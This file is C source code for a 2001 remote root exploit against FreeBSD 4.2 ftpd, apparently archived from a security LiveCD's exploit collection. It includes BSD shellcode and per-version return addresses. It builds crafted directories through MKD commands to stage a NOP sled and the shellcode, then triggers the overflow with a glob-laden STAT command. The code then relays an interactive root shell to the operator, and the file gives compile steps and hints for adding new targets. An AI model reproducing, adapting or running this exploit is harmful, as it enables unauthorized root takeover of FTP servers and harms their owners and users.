home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / ftpd / fbsdftp-ex.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  6.5 KB  |  336 lines

  1. /*
  2.  * (c) Apr 2001 noah williamsson / tm@ns2.crw.se
  3.  *
  4.  * Compile:
  5.  *   BSD/Linux: gcc -o fbsdftp-ex -O2 -Wall fbsdftp-ex.c
  6.  *   Solaris: cc -o fbsdftp-ex -O2 -Wall -lresolv -lsocket -lnsl fbsdftp-ex.c
  7.  *
  8.  * Credits:
  9.  *   fishstiqz (shellcode)
  10.  *
  11.  * Greets:
  12.  *   #Hack.SE
  13.  *
  14.  * For adding new targets, some hints are available 
  15.  * around line 180 in this file.
  16.  *
  17.  */
  18.  
  19.  
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <unistd.h>
  23. #include <string.h>
  24. #include <errno.h>
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <sys/time.h>
  28. #include <netdb.h>
  29. #include <netinet/in.h>
  30. #include <arpa/inet.h>
  31. #include <resolv.h>
  32. #include <signal.h>
  33. #include <sys/stat.h>
  34.  
  35.  
  36. // #define DEBUG
  37.  
  38.  
  39. int type, verbose, s;
  40. char kjellkode[] = {
  41.     /* fishstiqz' bsd c0de */
  42.     "\x29\xc0\x50\xb0\x17\x50\xcd\x80"
  43.     "\x29\xc0\x50\xbf\x66\x69\x73\x68"
  44.     "\x29\xf6\x66\xbe\x49\x46\x31\xfe"
  45.     "\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
  46.     "\x56\x89\xe3\x50\x54\x50\x54\x53"
  47.     "\xb0\x3b\x50\xcd\x80"
  48. };
  49.  
  50. struct { 
  51.     char *name;
  52.     unsigned long neweip;
  53.     int offset;
  54.     int align;
  55.     int mkds;
  56.     int cwds;
  57. } targets[] = {
  58.     { "FreeBSD 4.2R ftpd default installation", 0xbfbfa410, 0x58, 0, 26, 50 },
  59.     { "FreeBSD 4.2R ftpd compiled with -ggdb",  0xbfbfa430,  0x58, 0, 26, 50 },
  60.     { "FreeBSD 4.2S as of Sept 2000", 0xbfbfa450, 0x58, 0, 26, 50 },
  61.     { 0 }
  62. };
  63.  
  64.  
  65. int main(int, char **);
  66. void sig(int);
  67. int opensock(char *);
  68. void usage(void);
  69. void ftpd_exp(char *, char *);
  70. void ftpd_mkd(int);
  71. void tunnel(int);
  72.  
  73.  
  74. int main(int argc, char *argv[]) {
  75.     char *host, *user, *pass, buf[8192];
  76.     int i, create_dirs = 0;
  77.  
  78.     if(argc < 4)
  79.       usage();
  80.  
  81.     for(i = 1; i < argc; i++) {
  82.         if(!strcmp(argv[i], "-t"))
  83.             type = atoi(argv[++i]);
  84.         if(!strcmp(argv[i], "-v"))
  85.             verbose = 1;
  86.         else if(!strcmp(argv[i], "-c"))
  87.             create_dirs = 1;
  88.     }
  89.  
  90.     pass = argv[argc-1];
  91.     user = argv[argc-2];
  92.     host = argv[argc-3];
  93.  
  94.     if((s = opensock(host)) <= 0)
  95.         return -1;
  96.  
  97.     printf("[xplt] Target host is %s\n", targets[type].name);
  98.     memset(buf, 0, sizeof(buf));
  99.     read(s, buf, sizeof(buf));
  100.  
  101.     sprintf(buf, "USER %s\r\n", user);
  102.     write(s, buf, strlen(buf));
  103.     memset(buf, 0, sizeof(buf));
  104.     read(s, buf, sizeof(buf));
  105.  
  106.     sprintf(buf, "PASS %s\r\n", pass);
  107.     write(s, buf, strlen(buf));
  108.     memset(buf, 0, sizeof(buf));
  109.  
  110.     sleep(1);
  111.     read(s, buf, sizeof(buf));
  112.  
  113. #ifdef DEBUG
  114.     printf("[xplt] Hit enter\n");
  115.     read(0, buf, sizeof(buf));
  116. #endif
  117.  
  118.     if(create_dirs) {
  119.         chdir("~");
  120.         ftpd_mkd(targets[type].mkds);
  121.     }
  122.  
  123.     ftpd_exp(user, pass);
  124.  
  125.     close(s);
  126.  
  127.     return 0;
  128. }
  129.  
  130.  
  131. void ftpd_exp(char *login, char *pass) {
  132.     char buf[4096];
  133.     int rep;
  134.  
  135.     signal(SIGINT, sig);
  136.  
  137.     sprintf(buf, "STAT CCC*");
  138.     for(rep = 0; rep < targets[type].cwds; rep++)
  139.         strcat(buf, "/*");
  140.  
  141.     strcat(buf, "\r\n");
  142.     write(s, buf, strlen(buf));
  143.  
  144.     sprintf(buf, "echo '[+] If you can see this line you have a shell [+]' ; /usr/bin/id\n");
  145.     write(s, buf, strlen(buf));
  146.  
  147.     printf("[xplt] If you don't receive a line with uid=0 within a few seconds the exploit probably didn't work\n");
  148.  
  149.     tunnel(s);
  150. }
  151.  
  152.  
  153. void ftpd_mkd(int numdirs) {
  154.     char buf[1024], ftpcmd[1024];
  155.     int i;
  156.  
  157.     sprintf(buf, "CWD ~\r\n");
  158.     write(s, buf, strlen(buf));
  159.     memset(buf, 0, sizeof(buf));
  160.     read(s, buf, sizeof(buf));
  161.     if(verbose) printf("FTP:cwd ~> %s", buf);
  162.  
  163.     for(i = 0; i < numdirs; i++) {
  164.         memset(buf, 0, sizeof(buf));
  165.  
  166.         if(i == 1) {
  167.             memset(buf, 0x90, 40);
  168.             memcpy(buf+strlen(buf), kjellkode, strlen(kjellkode));
  169.             memset(buf+strlen(buf), 0x90, 203-strlen(buf));
  170.         }
  171.         else if('C'+i == targets[type].offset) {
  172.             int j;
  173. #ifdef DEBUG
  174.             
  175.             /*
  176.              * Start gdb -se=/usr/libexec/ftpd
  177.              * Attach the ftpd process when you see 'Hit enter'
  178.              * Hit enter.
  179.              *
  180.              * Offset is (segv addy & 0xff) - 0x30
  181.              *
  182.              * Find neweip by doing x/1000wx 0xbfbfa00
  183.              * and look for 0x90909090
  184.              *
  185.              */
  186.  
  187.             for(j = 0; j < 39; j++)
  188.                 buf[j] = j + 0x30;
  189. #else
  190.             for(j = 0; j < 40; j+=4)
  191.                 *(unsigned long *)(&buf[j+targets[type].align]) = targets[type].neweip;
  192. #endif
  193.         }
  194.         else {
  195.             memset(buf, 'C'+i, 39);
  196.         }
  197.  
  198.         sprintf(ftpcmd, "MKD %s\r\n", buf);
  199.         write(s, ftpcmd, strlen(ftpcmd));
  200.         memset(buf, 0, sizeof(buf));
  201.         read(s, buf, 510);
  202.         if(verbose) printf("FTP:mkd> %s", buf);
  203.  
  204.         memcpy(ftpcmd, "CW", 2);
  205.         write(s, ftpcmd, strlen(ftpcmd));
  206.         memset(buf, 0, sizeof(buf));
  207.         read(s, buf, 510);
  208.         if(verbose) printf("FTP:cwd> %s", buf);
  209.     }
  210.  
  211.     printf("[xplt] Created %d directories\n", i);
  212.     sprintf(buf, "CWD ~\r\n");
  213.     write(s, buf, strlen(buf));
  214.     memset(buf, 0, sizeof(buf));
  215.     read(s, buf, sizeof(buf));
  216.     if(verbose) printf("FTP:cwd ~> %s", buf);
  217. }
  218.  
  219.  
  220. int opensock(char *host) {
  221.     int s;
  222.     struct sockaddr_in remote_sin;
  223.     struct hostent *he;
  224.  
  225.     if((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  226.         perror("socket()");
  227.         return -1;
  228.     }
  229.  
  230.     memset((char *)&remote_sin, 0, sizeof(remote_sin));
  231.     if((he = gethostbyname(host)) != NULL)
  232.         memcpy((char *)&remote_sin.sin_addr, he->h_addr, he->h_length);
  233.     else if((remote_sin.sin_addr.s_addr = inet_addr(host)) < 0) {
  234.         perror("gethostbyname()/inet_addr()");
  235.         return -1;
  236.     }
  237.  
  238.     remote_sin.sin_family = AF_INET;
  239.     remote_sin.sin_port = htons(21);
  240.  
  241.     if(connect(s, (struct sockaddr *)&remote_sin, sizeof(remote_sin)) == -1) {
  242.         perror("connect()");
  243.         close(s);
  244.         return -1;
  245.     }
  246.           
  247.     return s;
  248. }
  249.  
  250.  
  251. void usage(void) {
  252.     int i;
  253.  
  254.  
  255.     printf("Usage: ./fbsdftp-ex [-t <num>] [-c] [-v] <ftphost> <ftpuser> <ftppass>\n");
  256.     printf("\t-t\tTarget host type\n");
  257.     printf("\t-c\tCreate evil directories\n");
  258.     printf("\t-v\tVerbose\n");
  259.     printf("\nValid targets:\n");
  260.  
  261.     for(i = 0; targets[i].name; i++) {
  262.         printf("%d\t%s\n", i, targets[i].name);
  263.     }
  264.  
  265.     exit(0);
  266. }
  267.  
  268.  
  269. void sig(int signo) {
  270.     close(s);
  271.     printf("Die!\n");
  272.     exit(0);
  273. }
  274.  
  275.  
  276. void tunnel(int sock) {
  277.     char fbuf[1024], tbuf[1024];
  278.     int ret, idx_f = 0, idx_t = 0;
  279.     int input = 0, output = 1;
  280.     struct timeval tv;
  281.     fd_set rd, wd;
  282.  
  283.     FD_ZERO(&rd);
  284.     FD_ZERO(&wd);
  285.     for(;;) {
  286.         if(idx_t < 1024)
  287.             FD_SET(input, &rd);
  288.  
  289.         if(idx_f < 1024)
  290.             FD_SET(sock, &rd);
  291.  
  292.         tv.tv_sec = 1;
  293.         tv.tv_usec = 0;
  294.         ret = select(sock+1, &rd, &wd, NULL, NULL);
  295.         if(ret < 1)
  296.             continue;
  297.  
  298.         if(FD_ISSET(sock, &rd) && idx_f != 1024) {
  299.             ret = read(sock, fbuf + idx_f, sizeof(fbuf) - idx_f);
  300.             if(ret < 1)
  301.                 break;
  302.  
  303.             idx_f += ret;
  304.             FD_CLR(sock, &rd);
  305.         }
  306.  
  307.         if(FD_ISSET(input, &rd) && idx_t != 1024) {
  308.             ret = read(input, tbuf + idx_t, sizeof(tbuf) - idx_t);
  309.             if(ret < 1)
  310.                 break;
  311.     
  312.             idx_t += ret;
  313.             FD_CLR(input, &rd);
  314.         }
  315.  
  316.         if(idx_f) {
  317.             if((ret = write(output, fbuf, idx_f)) < 1)
  318.                 break;
  319.  
  320.             if(!(idx_f -= ret))
  321.                 memcpy(fbuf, fbuf + ret, idx_f);
  322.         }
  323.  
  324.         if(idx_t) {
  325.             if((ret = write(sock, tbuf, idx_t)) < 1)
  326.                 break;
  327.  
  328.             if(!(idx_t -=ret))
  329.                 memcpy(tbuf, tbuf + ret, idx_t);
  330.         }
  331.     }
  332.  
  333.     close(sock);
  334.     /* DMT$MTA */
  335. }
  336. /*                www.hack.co.za           [18 April 2001]*/